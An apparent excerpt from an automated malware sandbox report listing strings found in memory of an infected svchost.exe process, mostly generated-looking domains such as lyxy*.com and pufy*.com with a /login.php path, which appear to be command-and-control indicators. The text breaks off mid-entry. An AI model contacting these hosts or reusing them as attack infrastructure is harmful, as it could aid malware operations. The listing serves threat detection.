Source: svchost.exe, 00000002.00000003.2671356551.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2640219450.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635676013.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2639583106.0000000008690000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635826907.00000000086F2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxygax.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2799115351.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384269083.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2802098474.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxygur.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332552292.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336690325.0000000008692000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610879120.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyjun.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334498126.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334047161.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329748670.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337179930.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2334800958.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxylor.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337099007.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332145984.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2605904977.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2332778027.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2333419776.00000000086FF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxymed.com/login.php
Source: svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2202773518.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2194197284.0000000008691000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxymin.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2772865274.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2769955415.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771520849.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2777187340.0000000008705000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxymix.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752503084.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxysad.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxysun.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2646107568.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267123963.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2813315381.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321367524.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2750428178.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2788231276.0000000003353000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxytex.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyvoj.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353785619.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353676961.000000000878B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352880774.000000000878B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyvyn.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxywij.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lyxyxyd.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufybop.com/login.php
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432573037.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557475743.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3344516796.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2577719348.0000000008784000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404003407.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548810720.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402591277.0000000008693000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2578793071.0000000008786000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2432700162.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufybyv.com/login.php
Source: svchost.exe, 00000002.00000003.2796055638.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2805126129.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2793841550.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384383810.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3266427470.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufycog.com/login.php
Source: svchost.exe, 00000002.00000003.2194039895.000000000865C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3342879951.0000000005815000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2503287920.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2502622128.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393093066.0000000003339000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3404121983.00000000087A4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3393602354.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2434123780.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513112023.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3341799100.00000000087A4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufydep.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336766554.0000000003353000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufydul.com/login.php
Source: svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582641786.0000000003393000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufygav.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760246399.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2592000281.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3246274264.000000000870B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3403579535.000000000870D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2752639627.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2771121340.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670315739.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2670012329.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2748851196.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610522908.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2749199124.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2759913760.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2573770543.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2801740808.00000000086F9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2768400966.0000000008705000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufyjuq.com/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2303334009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2553968961.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2552314103.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2557483842.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2556984027.00000000086F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufylap.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359008557.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2354372156.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353331404.00000000086F2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352299692.00000000086EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2353878040.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352879533.00000000086FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufylul.com/login.php
Source: svchost.exe, 00000002.00000003.2588418708.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582588416.00000000087AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326892101.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328737400.00000000086F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2582447207.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328870829.000000000868F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328002527.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326381294.00000000086F0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2580751870.00000000087AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2326465693.00000000086F1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufymyg.com/login.php
Source: svchost.exe, 00000002.00000003.2337642053.0000000003305000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338991462.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339128784.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338382961.0000000003303000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2628718282.00000000087AE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2339275288.00000000086FF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635696281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2338959183.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2638579923.00000000087B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufypeg.com/login.php
Source: svchost.exe, 00000002.00000003.2357365639.00000000087B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352296383.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2744373638.00000000086F4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2745079929.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2352873601.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufytip.com/login.php
Source: svchost.exe, 00000002.00000003.2319836186.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321073412.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2319581709.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2323670952.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2321666596.00000000033D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufywil.com/login.php
Source: svchost.exe, 00000002.00000003.2671509523.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349866379.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349127281.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2350047450.00000000087B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2738837414.0000000008783000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665740291.00000000087FE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufyxov.com/login.php
Source: svchost.exe, 00000002.00000003.2672088553.0000000008785000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://pufyxov.com/login.phpcom/login.php
Source: svchost.exe, 00000002.00000003.2301052009.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2550145927.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2308037835.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296732942.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2300434955.00000000086F1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296551987.0000000008691000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296517767.0000000008706000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549686862.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2548641598.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558367053.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2549395486.00000000086F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2302432052.00000000086FE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547272194.00000000033D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2305095010.0000000008701000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 